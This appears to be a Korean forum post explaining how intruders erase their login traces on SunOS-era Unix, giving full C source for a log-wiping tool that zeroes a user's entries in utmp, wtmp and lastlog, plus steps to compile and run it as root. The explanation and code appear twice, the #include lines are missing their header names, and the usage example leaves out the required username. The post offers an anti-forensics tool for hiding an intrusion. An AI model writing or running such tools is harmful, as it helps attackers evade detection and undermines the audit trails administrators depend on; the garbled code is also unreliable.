해커들이 자신의 흔적을 지우는 방법
로빈아빠
본문
자신의 로긴 정보를 지우는 프로그램은
기본적으로 /etc/utmp와 /var/adm/wtmp와 /var/adm/lastlog에 대한 읽기와
쓰기권한이 있어야 합니다. SunOS 4.1.X계열의 utmp의 모드가 -rw-rw-rw-로
되어 있고 SunOS 5.X 계열의 utmp의 모드는 -rw-r-r-로 되어 있습니다.
시스템에 따라 다를 수도 있지요. 따라서, 이 프로그램을 실행해 보려고 하는
사람은 SunOS 4.1.X을 사용해야 합니다. 이는 uname -a의 명령어로 알아 볼 수
있습니다. 그런데 자신이 일반 사용자가 아닌 root라면 구지 OS의 버전에
영향을 받을 필요가 없습니다. 해커나 다른 사람이 접속하면 시스템에
/etc/utmp, /usr/adm/wtmp와 /usr/adm/lastlog 파일에 접속 기록이 남습니다.
그래서 흔적을 없애기 위해서는 위의 화일을 변경합니다. 이것들은 텍스트 파일이
아니라서 vi로 편집할 수 없고 특별한 목적을 지닌 프로그램을 작성해야 합니다.
바로 그 프로그램이 아래에 있는 프로그램입니다. C언어로 작성 되어 있습니다.
이 프로그램 말고도 여러 가지의 흔적 지우는 프로그램이 있다는 것을 알려드립니다.
아래 프로그램을 root의 권한에서 돌려서 접속흔적을 지웁니다.
유닉스 쉘 상태에서 아래 파일명을 test.c로 저장해서 cc -o rmuser test.c 로
컴파일 해서 rmuser를 실행시키면 됩니다.
hack%cc -o rmuser test.c
hack%rmuser
위의 명령을 실행해서 who라고 명령 해보십시오.
깜쪽 같이 자신이 사라져 있을 겁니다.
참고로 who는 현재 시스템에 로긴해 있는 사용자를 알아보는 명령어 입니다.
프로그램 소스 tset.c의 내용
#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\\n");
} else printf("Error.\\n");
}
기본적으로 /etc/utmp와 /var/adm/wtmp와 /var/adm/lastlog에 대한 읽기와
쓰기권한이 있어야 합니다. SunOS 4.1.X계열의 utmp의 모드가 -rw-rw-rw-로
되어 있고 SunOS 5.X 계열의 utmp의 모드는 -rw-r-r-로 되어 있습니다.
시스템에 따라 다를 수도 있지요. 따라서, 이 프로그램을 실행해 보려고 하는
사람은 SunOS 4.1.X을 사용해야 합니다. 이는 uname -a의 명령어로 알아 볼 수
있습니다. 그런데 자신이 일반 사용자가 아닌 root라면 구지 OS의 버전에
영향을 받을 필요가 없습니다. 해커나 다른 사람이 접속하면 시스템에
/etc/utmp, /usr/adm/wtmp와 /usr/adm/lastlog 파일에 접속 기록이 남습니다.
그래서 흔적을 없애기 위해서는 위의 화일을 변경합니다. 이것들은 텍스트 파일이
아니라서 vi로 편집할 수 없고 특별한 목적을 지닌 프로그램을 작성해야 합니다.
바로 그 프로그램이 아래에 있는 프로그램입니다. C언어로 작성 되어 있습니다.
이 프로그램 말고도 여러 가지의 흔적 지우는 프로그램이 있다는 것을 알려드립니다.
아래 프로그램을 root의 권한에서 돌려서 접속흔적을 지웁니다.
유닉스 쉘 상태에서 아래 파일명을 test.c로 저장해서 cc -o rmuser test.c 로
컴파일 해서 rmuser를 실행시키면 됩니다.
hack%cc -o rmuser test.c
hack%rmuser
위의 명령을 실행해서 who라고 명령 해보십시오.
깜쪽 같이 자신이 사라져 있을 겁니다.
참고로 who는 현재 시스템에 로긴해 있는 사용자를 알아보는 명령어 입니다.
프로그램 소스 tset.c의 내용
#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\\n");
} else printf("Error.\\n");
}
관련링크
댓글목록
등록된 댓글이 없습니다.